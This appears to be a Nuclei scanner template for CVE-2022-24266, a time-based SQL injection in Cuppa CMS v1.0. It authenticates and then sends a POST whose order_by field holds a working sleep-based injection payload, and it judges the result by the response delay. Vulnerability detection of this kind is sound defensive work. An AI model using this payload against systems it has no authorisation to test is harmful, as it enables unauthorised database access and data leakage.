id: CVE-2022-24266

info:
  name: Cuppa CMS v1.0 - SQL injection
  author: theamanrawat
  severity: high
  description: |
    Cuppa CMS v1.0 was discovered to contain a SQL injection vulnerability in /administrator/components/table_manager/ via the order_by parameter.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access, data leakage, and potential compromise of the entire system.
  remediation: |
    Upgrade to the latest version of Cuppa CMS or apply the provided patch to fix the SQL injection vulnerability.
  reference:
    - https://github.com/CuppaCMS/CuppaCMS
    - https://nvd.nist.gov/vuln/detail/CVE-2022-24266
    - https://github.com/CuppaCMS/CuppaCMS/issues/17
    - https://github.com/truonghuuphuc/CVE
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2022-24266
    cwe-id: CWE-89
    epss-score: 0.06391
    epss-percentile: 0.9278
    cpe: cpe:2.3:a:cuppacms:cuppacms:1.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: cuppacms
    product: cuppacms
  tags: time-based-sqli,cve,cve2022,sqli,cuppa,authenticated,cuppacms,vuln

http:
  - raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        user={{username}}&password={{password}}&language=en&task=login
      - |
        @timeout: 20s
        POST /components/table_manager/ HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8

        order_by=id`,if(SUBSTRING('test',1,1)='t',sleep(6),sleep(0))--+-&path=component%2Ftable_manager%2Fview%2Fcu_users&uniqueClass=wrapper_content_919044

    matchers:
      - type: dsl
        dsl:
          - 'duration>=6'
          - 'status_code_2 == 200'
          - 'contains(content_type_2, "text/html")'
          - 'contains(body_2, "list_admin_table")'
        condition: and
# digest: 490a0046304402202bc801c267e0a6bf2240c8ee08bc9e86b65165fd00b2ef433ace77c7fdb8df5402207403b8af6f7ec5b1f15ce209151f1e9665fdea22cb19ea877176ffb2c1ac8f27:922c64590222798bb761d5b6d8e72950